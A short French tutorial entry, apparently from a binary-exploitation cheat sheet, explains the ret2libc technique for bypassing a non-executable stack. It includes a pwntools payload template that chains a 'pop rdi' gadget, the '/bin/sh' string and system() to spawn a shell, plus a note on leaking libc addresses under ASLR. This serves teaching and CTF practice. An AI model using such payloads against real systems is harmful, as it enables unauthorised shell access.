ret2libc — Retour vers la libc
★★★★★
Principe
Quand la pile est non exécutable (NX), on ne peut plus y placer du shellcode. ret2libc détourne le flux vers une fonction existante de la libc (typiquement system("/bin/sh")) en forgeant la pile pour lui passer ses arguments.
Exploitation x86-64
# Il faut : adresse de system(), de "/bin/sh", d un gadget 'pop rdi'
from pwn import *
libc = ELF('libc.so.6')
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
pop_rdi = 0x4011ab # ROPgadget --binary bin --only 'pop|ret'
payload = b'A'*offset
payload += p64(pop_rdi) + p64(binsh) # rdi = "/bin/sh"
payload += p64(ret) # alignement pile 16o
payload += p64(system) Avec ASLR
Si la libc est randomisée, il faut d'abord leaker une adresse (ex: via puts(puts@got)) pour calculer la base de la libc, puis relancer l'exploit (ret2plt + ret2libc en deux étapes).